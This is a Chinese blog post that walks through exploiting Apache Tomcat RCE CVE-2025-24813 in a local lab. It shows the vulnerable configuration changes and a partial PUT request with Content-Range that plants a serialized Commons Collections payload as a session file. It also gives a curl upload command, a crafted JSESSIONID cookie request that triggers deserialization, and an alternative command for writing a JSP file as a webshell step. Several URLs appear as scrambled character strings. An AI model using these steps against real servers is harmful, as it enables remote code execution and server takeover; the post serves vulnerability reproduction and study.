周杰伦4/14/2025, 2:00:26 PM
文章分类其他阅读数 : 75阅读时长 : 9分钟
【安全资讯-Apache Tomcat RCE漏洞复现(CVE-2025-24813)】此文章归类为:安全资讯。
一、漏洞简介
CVE-2025-24813 漏洞的核心在于 Apache Tomcat 在处理不完整的PUT请求时,会使用基于用户提供的文件名和路径生成临时文件。
满足以下条件时,攻击者可利用此漏洞执行任意代码:
默认Servlet启用了写权限(默认禁用)。
启用了部分PUT请求支持(默认启用)。
应用程序使用了Tomcat的基于文件的会话持久化机制(默认存储位置)。
应用程序包含可被利用于反序列化攻击的第三方库(如 Apache Commons Collections 3.2.1)。
受影响版本#
Apache Tomcat 11.0.0-M1 至0.2
Apache Tomcat 10.1.0-M1 至1.34
Apache Tomcat 9.0.0-M1 至0.98
二、环境部署
使用 Tomcat 9.0.98 版本复现:(adcK9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6S2M7X3y4Z5K9i4k6W2i4K6u0W2j5i4m8S2j5$3S2W2i4K6u0W2L8%4u0Y4i4K6u0r3k6r3W2K6N6q4)9J5c8Y4c8G2L8h3y4S2N6q4)9J5c8Y4c8G2L8h3y4S2N6q4)9J5k6o6W2Q4x3V1k6$3z5g2)9J5k6e0m8Q4x3X3f1&6z5q4)9J5c8X3u0A6L8W2)9J5c8X3q4H3j5h3y4Z5k6g2)9J5k6s2c8G2L8h3y4S2N6q4)9J5k6o6W2Q4x3X3f1H3i4K6u0W2z5e0S2Q4x3X3g2*7K9i4l9`.)
1. 启用DefaultServlet写权限
修改 conf/web.xml 文件,设置 readonly 为 false:
在conf/web.xml中,将DefaultServlet的readonly配置为false,启用写入功能
<init-param>
<param-name>readonly</param-name>
<param-value>false</param-value>
</init-param>
2. 在conf/context.xml中,开启File文件会话存储
<Manager className="org.apache.catalina.session.PersistentManager">
<Store className="org.apache.catalina.session.FileStore"/>
</Manager>
3. PUT方法默认是启用状态
4. 需要在项目中包含可被利用于反序列化攻击的库(例如 Commons Collections 3.2.1)
下载 commons-collections-3.2.1.jar(7f1K9s2c8@1M7s2y4Q4x3@1q4Q4x3V1k6Q4x3V1k6E0N6X3&6J5k6i4m8G2M7$3W2@1L8%4u0&6i4K6u0W2j5$3!0E0i4K6u0r3j5i4u0@1K9h3k6S2j5%4c8Q4x3V1k6U0L8$3#2E0L8$3&6K6i4K6u0V1j5$3!0D9L8r3g2U0N6r3W2G2L8Y4y4Q4x3V1k6U0L8$3#2E0L8$3&6K6i4K6u0V1j5$3!0D9L8r3g2U0N6r3W2G2L8Y4y4Q4x3V1j5K6i4K6u0W2x3W2)9J5k6e0q4Q4c8f1k6Q4b7V1y4Q4z5o6V1`.
将该 jar 包放入webapps\ROOT\WEB-INF\lib目录下
利用条件准备完毕,启动 Tomcat 程序:.\bin\catalina.bat run(若是在 liunx/mac 环境下则改用 catalina.sh ),浏览器访问本地8080端口查看是否启动成功
三、复现
使用 partial PUT 请求将恶意的序列化数据写入到会话文件中,在开启文件会话持久化(默认存储位置),并且在文件上传未完成的情况下,内容会被临时存储在 Tomcat 的工作目录work\Catalina\localhost\ROOT。
在 HTTP 协议中,Content-Range 字段用于表示客户端通过分段传输的方式上传或下载文件。例如 Content-Range: bytes 0-1000/1200 表示文件总大小是1200字节,本次上传的是前1001字节(0-1000),后续上传剩余部分(1001-1200)。
所以利用这个特点,可以分段上传覆盖或注入敏感文件,尝试下向默认存储位置 work\Catalina\localhost\ROOT 注入文件:
PUT /poc/session HTTP/1.1
Host: localhost:8080
Content-Range: bytes 0-1000/1200
{{(paylaod...)}}
ROOT目录下成功写入了文件(.poc.session):
Tomcat 对不完整的PUT请求上传时的文件名处理机制:文件路径中的分隔符 / 会被转换为 .
准备生成一个恶意的序列化文件上传,推荐使用 Java Chains 快速生成一个base64编码的cc链反序列化payload,这里选择用K1链来弹计算器:
准备好PUT请求包,需要注意 Content-Range 的分块值需要大于当前文件的长度。这里使用yakit的base64dec()标签对payload进行解码上传,直接上传Raw格式Payload是不可用的。
或者使用curl直接上传bin格式Payload文件:
curl -X PUT -H "Content-Range: bytes 0-1000/1200" --data-binary @payload.ser fbbK9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9K6b7e0R3H3z5o6m8Q4x3V1k6H3L8$3y4Q4x3V1k6K6k6i4y4K6K9h3!0F1
当Payload文件成功上传后,Tomcat会在30秒内自动触发反序列化,随后删除该session文件。
若想手动触发,可发送如下请求:
GET / HTTP/1.1
Cookie: JSESSIONID=.poc
四、替代Payload示例(命令执行)
若希望执行其他命令(如写入JSP Webshell),可使用以下Payload示例:
Windows环境下写入一个简单的JSP文件:
/r C:\ %i in (index.jsp) do @echo "test" > "%~dpi\example.jsp"
上传并触发后,访问:fb5K9s2c8@1M7q4)9K6b7g2)9J5c8W2)9J5c8X3I4G2j5$3q4D9K9r3!0K6N6q4)9K6b7e0R3H3z5o6m8Q4x3V1k6W2P5r3q4E0M7r3I4W2i4K6u0W2K9Y4y4H3i4@1f1#2i4K6S2p5i4@1t1K6i4@1f1#2i4K6S2r3i4@1q4r3i4@1f1&6i4@1q4m8i4K6S2o6i4@1f1^5i4@1q4r3i4K6R3I4f1r3q4&6L8r3!0S2k6q4!0q4y4W2)9^5z5g2!0m8y4#2!0q4z5q4!0m8x3g2)9^5b7#2!0q4y4W2)9&6y4g2)9^5z5q4!0q4y4W2)9&6c8g2)9&6b7#2!0q4x3#2)9^5x3q4)9^5x3R3`.`.
本文为独立观点,未经授权禁止转载。
更多【安全资讯-Apache Tomcat RCE漏洞复现(CVE-2025-24813)】相关视频教程:www.yxfzedu.com